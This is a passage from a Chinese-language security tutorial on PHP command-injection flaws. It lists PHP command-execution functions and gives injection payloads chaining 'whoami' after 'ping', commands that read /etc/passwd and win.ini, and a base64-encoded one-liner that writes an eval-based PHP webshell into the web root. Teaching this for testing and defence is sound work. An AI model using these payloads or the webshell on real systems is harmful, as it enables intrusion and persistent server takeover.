命令执行漏洞
漏洞描述
程序员使用脚本语言(比如 PHP)开发应用程序过程中,脚本语言开发十分快速、 简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用进行调用时就会用到一些执行系统命令的函数,应用在调用这些函数的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
相关函数
在 PHP 中可以调用外部程序的常见函数:
system(args) 有回显
passthru(args) 有回显
exec(args) 回显最后一行,必须 echo 输出
shell_exec(args) 无回显,必须输出
反引号:``
popen(handle,mode) 无回显
proc_open('cmd','flag','flag') 无回显
$process = proc_open('dir',$des,$pipes);
echo stream_get_contents($pipes[1]);
漏洞危害
- 继承 Web 服务器程序的权限,去执行系统命令
- 继承 Web 服务器程序的权限,读写文件
- 反弹 shell
- 控制整个网站,甚至整个服务器
代码分析
从代码中得知,ipaddress 参数是外部可以控制的,然后再判断类型,使用 shell_exec 函数调用系统命令,所以存在命令执行漏洞
1、命令执行漏洞攻击
Linux系统支持的管道符
; 执行完前面的语句再执行后面的语句
ping 127.0.0.1;whoami
| 显示后面语句的执行结果
ping 127.0.0.1|whoami
|| 当前面的语句执行出错时,执行后面的语句,前面的语句只能为假
ping 1||whoami
& 如果前面的语句为假,则执行后面的语句,前面的语句可真可假
ping 127.0.0.1&whoami
&& 如果前面的语句为假,则直接出错,也不执行后面的语句,前面的语句只能为真
ping 127.0.0.1&&whoami
Windows系统支持的管道符
| 直接执行后面的语句
ping 127.0.0.1|whoami
|| 如果前面的语句执行出错,执行后面的语句,前面的语句只能为假
ping 2||whoami
& 如果前面的语句为假,则直接执行后面的语句,前面的语句可真可假
ping 127.0.0.1&whoami
&& 如果前面的语句为假,则直接出错,也不执行后面的语句,前面的语句只能为真
ping 127.0.0.1&&whoami
`(反引号)
当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo `ls -a` 将会首先执行 ls 并捕获其输出信息,然后再将它传递给 echo,并将 ls -a 的输出结果打印在屏幕上,这被称为命令替换
ping 3|echo `whoami`
$
这是命令替换的不同符号,当反引号被过滤或编码时,可以使用该符号
ping 4|echo $(whoami)
发现命令执行漏洞,如果是有回显的情况下,获取系统敏感信息
windows 操作系统
type c:\windows\win.ini
linux 操作系统
cat /etc/passwd
一般在实战环境环境中,无回显的环境较多,证明漏洞存在就需要利用各种外通信技巧
2、命令执行漏洞外通信技巧
利用管道符号写入 SHELL
如果存在漏洞的 web 服务器页面有权限写入,利用 shell 命令写入 webshell 后门到网站目录,访问即可获取 webshell
echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php